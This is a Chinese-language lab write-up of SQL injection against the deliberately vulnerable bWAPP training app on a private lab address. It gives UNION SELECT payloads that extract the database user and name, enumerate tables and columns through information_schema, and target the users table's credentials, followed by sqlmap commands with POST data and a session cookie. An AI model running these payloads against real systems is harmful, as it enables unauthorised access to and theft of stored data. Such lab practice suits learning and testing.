目标1:拿到当前登入数据库的用户名,和当前数据库的名称。
前提准备:
1,分析需要函数:
user()和database()
2,分析环境:
- 请求方式:post
- 是否有回显:有
- 判断是否可注入:是(用'号判断)
3 ,注入方法确定
union select 1,2,3,4,5,6
问题:
问题:
1,回显数据只显示一条(SQL用limit限制)
SELECT * FROM `movies` WHERE Title='Iron Man' union select 1,user(),3,4,5,6 LIMIT 1;
思路:
使第一条不返回数据,返回为空。
SELECT * FROM `movies` WHERE Title='' union select 1,user(),database(),4,5,6 LIMIT 1;
Title=''查询不到数据返回为空,所以返回union后的数据
结果:
目标2:已知数据库的名称,获取数据库中表名
前提准备:
1,分析需要函数:
SELECT * FROM `movies`
WHERE Title=''
union
select 1,user(),database(),table_name,5,6
from information_schema.tables
WHERE table_schema=database() LIMIT 1,1;
Mysql 中 information_schema 数据库中有 tables 表,
tables表中有所有数据库中表名
问题:
问题
1,回显数据只显示一条(SQL用limit限制)
无法一次返回所有数据(表名)
解决思路
方法一:
用limit 0,1 1,1 2,1 3,1
SELECT * FROM `movies` WHERE Title='' union select 1,user(),database(),table_name,5,6 from information_schema.tables WHERE table_schema=database() LIMIT 1,1;
方法二:
用 GROUP_CONCAT(table_name)函数
该函数会返回一个表中一个字段的所有信息
SELECT * FROM `movies` WHERE Title='' union select 1,user(),database(),GROUP_CONCAT(table_name),5,6 from information_schema.tables WHERE table_schema=database();
结果:
目标2:已知数据库的名称,数据库中表名,获取表中字段
前提准备:
1,分析需要函数:
SELECT * FROM `movies`
WHERE Title=''
union
select 1,user(),database(),GROUP_CONCAT(column_name),5,6
from information_schema.columns
WHERE table_name='users';
Mysql 中 information_schema 数据库中有 columns 表,
columns表中有所有表中字段名
结果:
最终结果:
拿到账号密码
使用sqlmap进行攻击:
1.输出数据库的所有数据库
sqlmap -u "http://192.168.183.131:80/bWAPP/bWAPP/sqli_13.php" --data "movie=1&action=go" --cookie "security_level=0; PHPSESSID=vl8l1udcp7k2qnfkacpnt2qhsc" -dbs
-u 输入url参数
--data post注入参数
--cookie 登入cookie
-dbs 输出数据库的所有数据库
识别出后端数据库管理系统(DBMS)是MySQL,Web应用程序技术是PHP 8.1.12,Apache版本为2.4.54。SQLMap已经成功地获取了8个可用的数据库名称,包括bwapp,information_schema,mysql,performance_schema,phpmyadmin,tang1,tangzihan和test。
2,查看bwapp数据库中所有表名
sqlmap -u "http://192.168.183.131:80/bWAPP/bWAPP/sqli_13.php" --data "movie=1&action=go" --cookie "security_level=0; PHPSESSID=vl8l1udcp7k2qnfkacpnt2qhsc" -dbs -D bwapp --tables
-D bwapp --tables #查看bwapp数据库中所有表名
3,查看bwapp数据库users表中数据
sqlmap -u "http://192.168.183.131:80/bWAPP/bWAPP/sqli_13.php" --data "movie=1&action=go" --cookie "security_level=0; PHPSESSID=vl8l1udcp7k2qnfkacpnt2qhsc" -dbs -D bwapp --tables -T users --columns
-dbs 查询所有数据库
-D 指定数据库
--tables 在- D 指定的数据库下查询表信息
-T users --columns : 查询 -D 指定的数据库中的users表中的字段